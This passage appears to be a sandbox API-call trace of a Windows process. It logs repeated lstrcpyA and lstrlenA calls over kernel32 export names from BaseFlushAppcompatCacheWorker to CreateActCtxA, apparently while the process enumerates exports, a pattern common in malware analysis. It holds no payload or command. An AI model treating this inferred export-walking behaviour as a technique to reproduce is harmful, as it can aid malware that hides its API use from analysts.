lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0107.417] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0107.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0107.417] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0107.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0107.417] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0107.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0107.417] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0107.417] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0107.417] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0107.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0107.418] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0107.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0107.418] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0107.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0107.418] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0107.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0107.418] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0107.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0107.418] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0107.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0107.418] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0107.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0107.418] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0107.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0107.418] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0107.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0107.418] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0107.418] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0107.418] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0107.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0107.419] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0107.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0107.419] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0107.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0107.419] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0107.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0107.419] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0107.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0107.419] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0107.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0107.419] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0107.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0107.419] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0107.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0107.419] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0107.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0107.419] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0107.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0107.419] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0107.419] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0107.420] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0107.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0107.420] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0107.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0107.420] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0107.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0107.420] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0107.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0107.420] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0107.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0107.420] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0107.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0107.420] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0107.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0107.420] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0107.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0107.420] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0107.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0107.420] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0107.420] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0107.420] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0107.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0107.421] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0107.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0107.421] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0107.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0107.421] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0107.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0107.421] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0107.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0107.421] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0107.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0107.421] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0107.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0107.421] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0107.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0107.421] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0107.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0107.421] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0107.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0107.421] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0107.421] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0107.422] lstrlenA (lpString="BEEP") returned 4 [0107.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0107.422] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0107.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0107.422] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0107.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0107.422] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0107.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0107.422] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0107.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0107.422] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0107.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0107.422] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0107.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0107.422] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0107.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0107.422] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0107.422] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0107.423] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0107.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0107.423] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0107.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0107.423] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0107.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0107.423] lstrlenA (lpString="CANCELIO") returned 8 [0107.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0107.423] lstrlenA (lpString="CANCELIOEX") returned 10 [0107.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0107.423] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0107.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0107.423] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0107.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0107.423] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0107.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0107.423] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0107.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0107.423] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0107.423] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0107.424] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0107.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0107.424] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0107.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0107.424] lstrlenA (lpString="CHECKELEVATION") returned 14 [0107.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0107.424] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0107.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0107.424] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0107.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0107.424] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0107.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0107.424] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0107.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0107.424] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0107.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0107.424] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0107.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0107.424] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0107.424] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0107.424] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0107.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0107.425] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0107.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0107.425] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0107.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0107.425] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0107.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0107.425] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0107.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0107.425] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0107.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0107.425] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0107.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0107.425] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0107.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0107.425] lstrlenA (lpString="CLOSESTATE") returned 10 [0107.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0107.425] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0107.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0107.425] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0107.425] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0107.426] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0107.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0107.426] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0107.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0107.426] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0107.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0107.426] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0107.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0107.426] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0107.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0107.426] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0107.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0107.426] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0107.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0107.426] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0107.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0107.426] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0107.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0107.426] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0107.426] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0107.426] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0107.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0107.427] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0107.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0107.427] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0107.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0107.427] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0107.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0107.427] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0107.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0107.427] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0107.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0107.427] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0107.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0107.427] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0107.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0107.427] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0107.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0107.427] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0107.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0107.427] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0107.427] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0107.428] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0107.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0107.428] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0107.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0107.428] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0107.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0107.428] lstrlenA (lpString="COPYCONTEXT") returned 11 [0107.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0107.428] lstrlenA (lpString="COPYFILE2") returned 9 [0107.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0107.428] lstrlenA (lpString="COPYFILEA") returned 9 [0107.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0107.428] lstrlenA (lpString="COPYFILEEXA") returned 11 [0107.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0107.428] lstrlenA (lpString="COPYFILEEXW") returned 11 [0107.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0107.428] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0107.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0107.428] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0107.428] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0107.428] lstrlenA (lpString="COPYFILEW") returned 9 [0107.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0107.429] lstrlenA (lpString="COPYLZFILE") returned 10 [0107.429] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0107.429] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0107.429] lstrcpyA (in: lpString1=0x38bdb2c, 